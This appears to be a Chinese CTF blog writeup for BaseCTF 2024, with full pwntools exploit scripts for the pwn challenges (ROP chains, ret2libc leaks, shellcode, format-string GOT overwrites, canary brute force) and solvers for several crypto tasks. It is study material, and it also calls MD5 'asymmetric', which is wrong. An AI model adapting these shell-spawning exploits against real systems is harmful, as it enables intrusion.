sysNow's blog

2024 BaseCTF高校联合新生赛writeup

Sep 21, 2024
CTF writeup
24 Minutes
4672 Words
This article was last updated on Apr 18, 2025 and some of the information may no longer be applicable due to the passage of time.

pwn

[week1] 我把她丢了

首先,先checksec查看保护,可发现got表可覆写,无pie,无canary,栈上不可执行

图片1

打开ida,发现vuln函数内存在栈溢出漏洞,同时发现shell函数内有system语句,程序内包含/bin/sh

图片2

图片3

图片4

通过64位传参可知,原system语句中的内容在call _system之前传给rdi,因此可以不选用shell函数的开始地址,转而选择先pop rdi;ret手动更改rdi为/bin/sh的地址,再直接转入call _system,如此执行system("/bin/sh")

图片5

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
from pwncli import *
4
from LibcSearcher import *
5
6
# use script mode
7
cli_script()
8
9
# get use for obj from gift
10
io: tube = gift['io']
11
elf: ELF = gift['elf']
12
libc: ELF = gift['libc']
13
14
bin_sh = 0x402008
15
system_addr = 0x40120f
5 collapsed lines
16
rdi_ret = 0x401196
17
payload = b'a'*(0x70+0x8)+p64(rdi_ret)+p64(bin_sh)+p64(system_addr)
18
sla(b"I lost her, what should I do? Help me find her.\n",payload)
19
20
ia()

[week1] Ret2text

首先,先checksec查看保护,可发现got表可覆写,无pie,无canary,栈上不可执行

图片1

发现main函数中存在栈溢出,同时发现dt_gift函数

图片2

图片3

于是经过尝试,可构建payload=b'a'*(0x20+0x8)+p64(gift_addr),但此时由于未对齐,不可正确执行,于是在p64(gift_addr)前插入一个ret的地址

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
from pwncli import *
4
from LibcSearcher import *
5
6
# use script mode
7
cli_script()
8
9
# get use for obj from gift
10
io: tube = gift['io']
11
elf: ELF = gift['elf']
12
libc: ELF = gift['libc']
13
14
gift_addr = 0x4011A4
15
ret_addr = 0x40101a
4 collapsed lines
16
payload = b'a'*(0x20+0x8)+p64(ret_addr)+p64(gift_addr)
17
sl(payload)
18
19
ia()

[week1] echo

echo "$(<flag)"

[week1] shellcode_level0

checksec发现除了canary以外保护全开

图片1

IDA可以看到,数据输入buf后执行((void (*)(void))buf)(),将buf指针转为函数指针后执行函数,由此可注入shellcode(手写shellcode后续学习)后执行

图片2

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
shell_code = '''
13 collapsed lines
16
xor rdx,rdx;
17
push rdx;
18
mov rsi,rsp;
19
mov rax,0x68732f2f6e69622f;
20
push rax;
21
mov rdi,rsp;
22
mov rax,59;
23
syscall;
24
'''
25
payload = asm(shell_code)
26
sl(payload)
27
28
ia()

[week1] 彻底失去她

checksec可得64位文件,可覆写got表,无canary和pie,栈上不可执行

图片1

在main函数中可看到buf存在栈溢出,双击buf可看到buf不在.bss段中

图片2

图片3

发现present函数,其内容为system('ls'),且在IDA中未发现/bin/sh

图片4

这题考虑先栈溢出,将返回地址覆盖为read函数地址,通过此函数将/bin/sh(也可输入cat flag等)输入.bss段,后手动设置rdi,直接执行present函数中的syscall 通过实验可得,read函数输入内容的存储地址由rsi控制,于是在前往read函数之前,先手动设置rsi为.bss段中的一个地址,即payload = b'A'*(0xA+0x8)+p64(rsi_ret)+p64(bss_addr)+p64(read_plt)+p64(rdi_ret)+p64(bss_addr)+p64(ret_addr)+p64(syscall_addr)

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
present_addr = 0x401198
12 collapsed lines
16
syscall_addr = 0x4011A5
17
rdi_ret = 0x401196
18
rsi_ret = 0x4011ad
19
ret_addr = 0x40101a
20
bss_addr = 0x4040A1
21
read_plt = elf.plt['read']
22
payload = b'A'*(0xA+0x8)+p64(rsi_ret)+p64(bss_addr)+p64(read_plt)+p64(rdi_ret)+p64(bss_addr)+p64(ret_addr)+p64(syscall_addr)
23
sla(b"By the way, I still don't know your nam",payload)
24
sleep(5)
25
sl(b'/bin/sh')
26
27
ia()

[Week2] 她与你皆失

checksec,可覆写got表,无canary和pie,堆栈上不可执行

图片1

IDA中未看到后门函数,字符串中没有/bin/sh,由此可看出为ret2libc

图片2

由于glibc-all-in-one中没有题目所给的glibc版本,于是使用libcsearcher

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
puts_plt = elf.plt['puts']
18 collapsed lines
16
puts_got = elf.got['puts']
17
rdi_ret = 0x401176
18
ret_addr = 0x40101a
19
main_addr = elf.sym['main']
20
print(puts_got)
21
payload1 = b'A'*(0xA+0x8)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
22
sla(b"I have nothing, what should I do?",payload1)
23
r(1)
24
puts_addr = u64(r(6).ljust(8,b'\x00'))
25
print("puts_addr = ",hex(puts_addr))
26
obj = LibcSearcher("puts", puts_addr)
27
base = puts_addr-obj.dump("puts")
28
system_addr = base+obj.dump("system")
29
bin_sh = base+obj.dump("str_bin_sh")
30
payload2=b'A'*(0xA+0x8)+p64(rdi_ret)+p64(bin_sh)+p64(ret_addr)+p64(system_addr)
31
sla(b"I have nothing, what should I do?",payload2)
32
33
ia()

或者不使用LibcSearcher,直接用给出的libc文件

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
# libc: ELF = gift['libc']
14
libc = ELF('./libc.so.6')
15
22 collapsed lines
16
puts_plt = elf.plt['puts']
17
puts_got = elf.got['puts']
18
rdi_ret = 0x401176
19
ret_addr = 0x40101a
20
main_addr = elf.sym['main']
21
print(puts_got)
22
payload1 = b'A'*(0xA+0x8)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
23
sla(b"I have nothing, what should I do?",payload1)
24
r(1)
25
puts_addr = u64(r(6).ljust(8,b'\x00'))
26
print("puts_addr = ",hex(puts_addr))
27
# obj = LibcSearcher("puts", puts_addr)
28
# base = puts_addr-obj.dump("puts")
29
# system_addr = base+obj.dump("system")
30
# bin_sh = base+obj.dump("str_bin_sh")
31
base = puts_addr-libc.sym['puts']
32
system_addr = base+libc.sym['system']
33
bin_sh = base+next(libc.search("/bin/sh"))
34
payload2=b'A'*(0xA+0x8)+p64(rdi_ret)+p64(bin_sh)+p64(ret_addr)+p64(system_addr)
35
sla(b"I have nothing, what should I do?",payload2)
36
37
ia()

[Week2] format_string_level0

现根据所给的libc文件和ld文件更换glibc

checksec发现保护全开

图片1

分析代码可知,程序将本地flag文件的内容存入v6变量中,我们需要在buf中输入格式化字符串,在通过输出来获取flag

图片2

首先,我们构建payload = b'%p '*10依次输出,确定指向flag的地址

图片3

可以看到,指向flag的地址为0x556faa7f22a0,在输出中栈上的指针在第八位出现,于是可写成payload = b'%8$p',获取flag可写payload = b'%8$s'

图片4

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
payload = b'%8$s'
3 collapsed lines
16
sl(payload)
17
18
ia()

[Week2] shellcode_level1

题目保护全开

图片1

第一次读入正好为2字节,而syscall经过汇编后也为2字节,我们可以先尝试输入payload = asm('''syscall'''),发现当调用到syscall时,rax正好为0,此时查系统调用表可得,运行read函数,因此IDA中((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);可理解为read(0LL, buf, 1280LL),吗???***此点存疑!!!***但反正可以继续输入数据并执行

图片2

再次输入时,由于传入的开始写入地址还是在buf头部,于是我们要先塞入两字节,再开始覆盖shellcode,exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
shell = asm('''
18 collapsed lines
16
syscall;
17
''')
18
s(shell)
19
sleep(8)
20
shell_code = asm('''
21
xor rdx,rdx
22
push rdx
23
mov rsi,rsp
24
mov rax,0x68732f2f6e69622f
25
push rax
26
mov rdi,rsp
27
mov rax,59
28
syscall
29
''')
30
payload = b'AA'+shell_code
31
s(payload)
32
33
ia()
1
此题有疑问,为什么开了NX依旧可以使用shellcode呢?
2
3
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。在题目中我们使用vmmap可以看出,第二次输入的buf位置权限可执行

[Week2] format_string_level1

checksec可看到开了canary和NX

图片1

IDA分析,考虑可使用格式化字符串修改target变量的值,从而获取flag,可获取到target的地址为0x4040B0

图片2

先使用payload = b'AAAAAAAA'+b'%p '*10来试探AAAAAAAA的地址,可看出AAAAAAAA在第六位出现,即payload = b'AAAAAAAA'+b'%6$p'

图片3

由于本题考虑小数据覆盖,于是可使用payload = b'A'+b'%7$p'+b'AAA'+b'BBBBBBBB'重新检验

图片4

结果正确,于是可构建payload = b'A'+b'%7$hhn'+b'A'+p64(target)

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
target = 0x4040B0
4 collapsed lines
16
payload = b'A'+b'%7$hhn'+b'A'+p64(target)
17
sl(payload)
18
19
ia()

[Week2] gift

checksec,file得,此题为静态链接,考虑使用ret2syscall

图片1

main函数中存在栈溢出,未发现后门函数和/bin/sh字符串,考虑先syscall调用read函数输入/bin/sh,再返回syscall调用execve执行

图片2

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
14
bss_addr = 0x4C8001
15
syscall_addr = 0x414B46
12 collapsed lines
16
rax_rdx_rbx = 0x47f2ea
17
# 0x47f2ea : pop rax ; pop rdx ; pop rbx ; ret
18
rdi_ret = 0x401f2f
19
rsi_ret = 0x409f9e
20
# 参数设置顺序:rax rdi rsi rdx rcx
21
# 1 4 5 2 rbx:3
22
payload1 = b'A'*(0x28)+p64(rax_rdx_rbx)+p64(0)+p64(8)+p64(0)+p64(rdi_ret)+p64(0)+p64(rsi_ret)+p64(bss_addr)+p64(syscall_addr)
23
payload1 += p64(rax_rdx_rbx)+p64(59)+p64(0)+p64(0)+p64(rdi_ret)+p64(bss_addr)+p64(rsi_ret)+p64(0)+p64(syscall_addr)
24
sla(b"Why so many functions, it seems that somewhere is not quite the same",payload1)
25
sl(b'/bin/sh\x00')
26
27
ia()

[Week3] 你为什么不让我溢出

checksec发现,canary开

图片1

IDA中发现vuln函数中存在栈溢出漏洞,read读入可以使用send,puts输出不可使用格式化字符串

图片2

经过多轮调试发现,canary位于rbp上方,且最后一字节为\x00,因此需要覆盖一位后输出.

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
payload = b'A'*(0x70-0x8+1)
11 collapsed lines
16
sa(b"Hello Hacker!\n",payload)
17
r(0x70-0x8+1)
18
canary = u64(r(7).rjust(8,b'\x00'))
19
print("canary = ",hex(canary))
20
21
getshell = 0x4011B6
22
ret_addr = 0x40101a
23
payload = b'A'*(0x70-0x8)+p64(canary)+b'A'*8+p64(ret_addr)+p64(getshell)
24
s(payload)
25
26
ia()

[Week3] format_string_level2

checksec

图片1

IDA未发现后门函数,可看出使用了printf,可使用格式化字符串更改printf的GOT表,将其指向system,注意64位程序执行格式化字符串输出时,由于地址经过p64封装后存在\x00,因此无论是泄露还是修改都需要将地址放在最后,详细可见文章

图片2

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
printf_got = elf.got['printf']
30 collapsed lines
16
print("printf_got = ",hex(printf_got))
17
print("printf_got_p64 = ",p64(printf_got))
18
payload = b'AAAA'+b'%7$s'+p64(printf_got)
19
s(payload)
20
ru(b'AAAA')
21
printf_addr = u64(r(6).ljust(8,b'\x00'))
22
r()
23
print("printf_addr = ",hex(printf_addr))
24
# base = printf_addr-libc.sym['printf']
25
# system = base+libc.sym['system']
26
obj = LibcSearcher("printf",printf_addr)
27
base = printf_addr-obj.dump("printf")
28
print("base = ",hex(base))
29
system = base+obj.dump("system")
30
print("system = ",hex(system))
31
32
# payload = fmtstr_payload(6,{printf_got:system})
33
payload = b'%'+str((system>>16)&0xff).encode()+b'c'+b'%16$hhn'
34
payload += b'%'+str((system&0xffff)-((system>>16)&0xff)).encode()+b'c'+b'%17$hn'
35
num = len(payload)
36
while len(payload) != 80:
37
payload+=b'A'
38
payload += p64(printf_got+2)+p64(printf_got)
39
print("payload = ",payload)
40
sl(payload)
41
42
sleep(5)
43
sl(b'/bin/sh\x00')
44
45
ia()

[Week3] PIE

checksec发现,无法覆写GOT表,无canary,栈上不可执行,开了PIE

图片1

main函数中存在栈溢出,此题难点在于不更改返回地址的情况下,只能执行一次栈溢出

图片2

考虑更改0x7fd1b7c04d90 (__libc_start_call_main+128)最后一节数据,使程序能够重载进入main函数,经过调试发现,改为\x28符合条件

图片3

在覆盖后,经过printf,可将更改后的数据打印出来,由此可以计算得出libc加载基址.第二次进入main函数时再次进行栈溢出,由于程序加载基址并未泄露,因此无法使用pwn文件中的ROP,这次考虑直接one_gadget

图片4

经过对比可得,可以使用第二条来获取shell,同时vmmap可以看到,在libc段中有可写段,于是可构建payload

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
payload = b'A'*(0x100+8)+b'\x28'
14 collapsed lines
16
s(payload)
17
ru(b"you said ")
18
r(0x100+8)
19
lscmain = u64(r(6).ljust(8,b'\x00'))
20
libc_base = lscmain-0x29d28
21
print("libc_base = ",hex(libc_base))
22
23
one = 0xebc85+libc_base
24
write_addr = 0x21a000+libc_base
25
print("write_addr = ",hex(write_addr))
26
payload = b'B'*(0x100)+p64(write_addr+0x100)+p64(one)
27
s(payload)
28
29
ia()

也可以考虑用libc中的gadget来构建ROP链

图片5

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
payload = b'A'*(0x100+8)+b'\x28'
18 collapsed lines
16
s(payload)
17
ru(b"you said ")
18
r(0x100+8)
19
lscmain = u64(r(6).ljust(8,b'\x00'))
20
libc_base = lscmain-0x29d28
21
print("libc_base = ",hex(libc_base))
22
system = libc_base+libc.sym['system']
23
bin_sh = libc_base+next(libc.search("/bin/sh"))
24
print("system = ",hex(system))
25
print("bin_sh = ",hex(bin_sh))
26
27
# 0x0000000000098212 : add bh, dh ; ret
28
ret = 0x098212+libc_base
29
rdi_ret = 0x2a3e5+libc_base
30
payload = b'B'*(0x100+8)+p64(rdi_ret)+p64(bin_sh)+p64(ret)+p64(system)
31
s(payload)
32
33
ia()

[Week3] stack_in_stack

chechsec

图片1

IDA发现一次读写内容仅够覆盖完返回地址,于是考虑栈迁移

图片2

可利用这个函数泄露libc基地址

图片3

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
main_addr = 0x40124A
26 collapsed lines
16
gift_addr = 0x4011CB
17
leave_ret = 0x4012f2
18
ru(b"It looks like something fell off mick0960.\n")
19
buf = int(r(14),16)
20
print("buf = ",hex(buf))
21
payload = p64(0)+p64(gift_addr)+p64(0)+p64(main_addr)+p64(0)*2+p64(buf)+p64(leave_ret)
22
s(payload)
23
24
ru(b"You found the secret!\n")
25
puts_addr = int(r(14),16)
26
print("puts_addr = ",puts_addr)
27
libc_base = puts_addr-libc.sym["puts"]
28
system = libc_base+libc.sym["system"]
29
bin_sh = next(libc.search("/bin/sh"))+libc_base
30
rdi_ret = 0x2a3e5+libc_base
31
32
ru(b"It looks like something fell off mick0960.\n")
33
buf = int(r(14),16)
34
print("buf = ",hex(buf))
35
ret_addr = 0x40101a
36
payload = p64(0)+p64(rdi_ret)+p64(bin_sh)+p64(ret_addr)+p64(system)+p64(0)+p64(buf)+p64(leave_ret)
37
s(payload)
38
39
ia()
40
# set follow-fork-mode parent
41
# set detach-on-fork on

[Week4] format_string_level3

图片1

只能执行一次格式化字符串,于是考虑.fini_array挟持,这个东西静态和动态好像不一样,动态的程序.fini_array段貌似只能存放一个数据(IDA里看的),而且进入的流程也有些区别,静态的可以看这个

图片2

图片3

本题首先打算第一次格式化字符串用来泄露libc和更改.fini_array,第二次进入main函数执行格式化字符串更改printf的got表为system,但想要执行shell,必须再来一次main函数,如果只完成这些部分,并不能第三次进入main函数,于是我们继续往下调试.

图片4

图片5

图片6

如果我们可以更改rax+8(0x403148)的内容为main函数地址,我们可以通过这三条语句再次调用main函数.在IDA中可以看到这条地址下存储的内容:

图片7

于是第二次格式化字符串要完成的目标即为:修改0x403148为main函数地址,修改printf的got表为system

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
7
# use script mode
8
cli_script()
9
10
# get use for obj from gift
11
io: tube = gift['io']
12
elf: ELF = gift['elf']
13
libc: ELF = gift['libc']
14
15
# 往0x403118写入0x40121B
22 collapsed lines
16
# 0x403148 0x40121B
17
main_addr = 0x40121B
18
ru(b'-----\n')
19
payload = b'%41$p'+(b'%'+str((main_addr&0xffff)-14).encode()+b'c'+b'%11$hn').ljust(35,b'A')+p64(0x403118)
20
sl(payload)
21
lscm = int(r(14),16)-128
22
libc_base = lscm-0x2cd10
23
system = libc_base+libc.sym["system"]+0x3000 # 不知道为什么有0x3000的偏移
24
print("system = ",hex(system))
25
printf_got = elf.got["printf"]
26
print("printf_got = ",printf_got)
27
28
payload = (b'%'+str((system>>16)&0xff).encode()+b'c'+b'%14$hhn'+b'%'+str((main_addr&0xffff)-((system>>16)&0xff)).encode()+b'c'+b'%15$hn'+b'%'+str((system&0xffff)-(main_addr&0xffff)).encode()+b'c'+b'%16$hn').ljust(64,b'A')+p64(printf_got+2)+p64(0x403148)+p64(printf_got)
29
sl(payload)
30
31
ru(b'-----\n')
32
ru(b'-----\n')
33
sl(b'/bin/sh')
34
35
ia()
36
# set follow-fork-mode parent
37
# set detach-on-fork on

[Week4] 没有 canary 我要死了! (远端未打通)

发现保护全开 图片1

IDA中发现fork函数和随机数函数

图片2

发现后门函数

图片3

这一题主要考虑的是fork函数复制进程是一模一样的,由此可以爆破得出canary,而随机数是伪随机数,因此我们可以调用glibc库中的随机数函数来破解 参考文章Python ctypes 使用笔记

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
# libc: ELF = gift['libc']
15
34 collapsed lines
16
libc = cdll.LoadLibrary('libc.so.6')
17
libc.srand(libc.time(0))
18
canary = b'\x00'
19
shell = 0x02B1
20
for i in range(7):
21
for j in range(256):
22
ru(b"oh, welcome to BaseCTF\n")
23
sl(str(libc.rand()%50).encode())
24
payload = b'A'*(0x70-8)+canary+bytes([j])
25
print("payload = ",payload)
26
s(payload)
27
rl()
28
data = rl()
29
print("data = ",data)
30
if data != b"*** stack smashing detected ***: terminated\n":
31
canary+=bytes([j])
32
break
33
print("canary = ",canary)
34
ru(b'oh, welcome to BaseCTF\n')
35
while True:
36
sl(str(libc.rand()%50).encode())
37
rl()
38
payload = b'A'*(0x70-8)+canary+p64(0xdeadbeef)+p16(shell)
39
s(payload)
40
rec = rl()
41
print("rec = ",rec)
42
if rec == b"oh, welcome to BaseCTF\n":
43
shell+=0x1000
44
else:
45
break
46
47
ia()
48
# set follow-fork-mode parent
49
# set detach-on-fork on

[Week4] ezstack

checksec

图片1

本题未发现后门函数,考虑利用libc,可以覆写setvbuf的got表为system,可利用ret2csu和出题人给的magic_gadget

图片2

图片3

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
25 collapsed lines
16
gets_plt = elf.plt["gets"]
17
setvbuf_plt = elf.plt["setvbuf"]
18
setvbuf_got = elf.got["setvbuf"]
19
system = libc.sym["system"]
20
gadget1 = 0x4006EA
21
# pop rbx,rbp,r12,r13,r14,r15;retn
22
gadget2 = 0x4006D0
23
magic = 0x400658
24
# add [rbp-3Dh], ebx
25
rdi_ret = 0x4006f3
26
bss_addr = 0x601069
27
offset = -0x30880
28
offset = offset&0xFFFFFFFFFFFFFFFF
29
print("setvbuf_got = ",setvbuf_got)
30
31
payload = b'A'*(0x10)+p64(gadget1)
32
payload += p64(offset)+p64(setvbuf_got+0x3d)+p64(0)*4+p64(magic)
33
payload += p64(rdi_ret)+p64(bss_addr)+p64(gets_plt)
34
payload += p64(rdi_ret)+p64(bss_addr)+p64(setvbuf_plt)
35
sl(payload)
36
sl(b"/bin/sh\x00")
37
38
ia()
39
# set follow-fork-mode parent
40
# set detach-on-fork on

crypto

[Week1] helloCrypto

由AES的定义可知,AES是对称加密,由此我们可以从密文直接推得明文,原题给的仅仅是例子,原题后的注释才是真正的数据

exp如下:

1
from Crypto.Util.number import *
2
from Crypto.Cipher import AES
3
from Crypto.Util.Padding import pad
4
import random
5
6
key = 208797759953288399620324890930572736628
7
key = long_to_bytes(key)
8
c = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'
9
aes=AES.new(key=key,mode=AES.MODE_ECB)
10
flag=aes.decrypt(c)
11
print(flag)

[Week1] ez_math

题目如下:

1
import numpy as np
2
from Crypto.Util.number import *
3
4
a, b, c, d = [getPrime(128) for _ in range(4)]
5
point1 = a * d
6
point2 = b * c
7
matrix2 = [[0, a, b], [0, c, d]]
8
9
flag = b"flag{test_flag}"
10
flag = bytes_to_long(flag)
11
12
13
def randomArray():
14
upper = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
15
low = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
14 collapsed lines
16
for i in range(3):
17
for j in range(i+1, 3):
18
upper[i][j] = getPrime(128)
19
low[j][i] = getPrime(128)
20
result = np.array(upper) @ np.array(low)
21
return result
22
23
A = np.array([[flag, 0, 0]] + matrix2)
24
B = randomArray()
25
MAT = A @ B
26
27
print(point1)
28
print(point2)
29
print(MAT)

分析可得:

1
A=[[flag, 0, 0],
2
[0 , a, b],
3
[0 , c, d]]
4
5
upper=[[1,x1 ,x2], low=[[1 ,0 ,0],
6
[0,1 ,x3], [y1,1 ,0],
7
[0,0 ,1 ]] [y2,y3,1]]

由线性代数知识|A@B|=|A||B|可得,|B|=|upper||low|=1,|MAT|=|A||B|=|A|,因为|A|=flag*(ad-bc)=flag*(point1-point2)由此可逆向解出flag

exp如下:

1
import numpy as np
2
from Crypto.Util.number import *
3
4
point1 = 85763755029292607594055805804755756282473763031524911851356658672180185707477
5
point2 = 70470862191594893036733540494554536608294230603070251013536189798304544579643
6
list = [[73595299897883318809385485549070133693240974831930302408429664709375267345973630251242462442287906226820558620868020093702204534513147710406187365838820773200509683489479230005270823245,46106113894293637419638880781044700751458754728940339402825975283562443072980134956975133603010158365617690455079648357103963721564427583836974868790823082218575195867647267322046726830,161159443444728507357705839523372181165265338895748546250868368998015829266587881868060439602487400399254839839711192069105943123376622497847079185],[13874395612510317401724273626815493897470313869776776437748145979913315379889260408106588331541371806148807844847909,17025249852164087827929313934411832021160463738288565876371918871371314930048841650464137478757581505369909723030523,59510107422473463833740668736202898422777415868238817665123293560097821015330],[11314088133820151155755028207579196628679021106024798818326096960197933616112389017957501267749946871903275867785729,13883500421020573457778249958402264688539607625195400103961001780695107955462968883861677871644577542226749179056659,48528427402189936709203219516777784993195743269405968907408051071264464132448]]
7
MAT = np.array(list)
8
det_B = 1
9
det_MAT = MAT[0][0]*(MAT[1][1]*MAT[2][2]-MAT[1][2]*MAT[2][1])-MAT[0][1]*(MAT[1][0]*MAT[2][2]-MAT[2][0]*MAT[1][2])+MAT[0][2]*(MAT[1][0]*MAT[2][1]-MAT[2][0]*MAT[1][1])
10
det_A = det_B*det_MAT
11
flag = det_A//(point1-point2)
12
flag = long_to_bytes(flag)
13
print(flag)

[Week1] 你会算md5吗

题目如下:

1
import hashlib
2
3
flag='BaseCTF{}'
4
5
output=[]
6
for i in flag:
7
my_md5=hashlib.md5()
8
my_md5.update(i.encode())
9
output.append(my_md5.hexdigest())
10
print("output =",output)

由此可知,题目对flag按字节做了md5加密,加密后内容存于output列表中,因为md5是非对称的,于是我们可以按字节进行枚举,以此获得每一位flag.

exp如下:

1
import hashlib
2
3
output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
4
flag=[]
5
for i in output:
6
for j in range(33,126):
7
my_md5=hashlib.md5()
8
my_md5.update(chr(j).encode())
9
if my_md5.hexdigest() == i:
10
flag.append(chr(j))
11
string1 = ''.join(flag)
12
print(string1)

[Week1] 十七倍

题目如下:

1
#include <stdio.h>
2
int main() {
3
unsigned char flag[] = "BaseCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
4
int i;
5
for (i = 0; i < 40; i++) {
6
flag[i] = flag[i] * 17;
7
}
8
if (flag[0] != 98) { /* �±��Ǵ� 0 ��ʼ�� */
9
printf("CPU Error???\n");
10
return 1;
11
}
12
unsigned char cipher[] = {
13
98, 113, 163, 181, 115, 148, 166, 43, 9, 95,
14
165, 146, 79, 115, 146, 233, 112, 180, 48, 79,
15
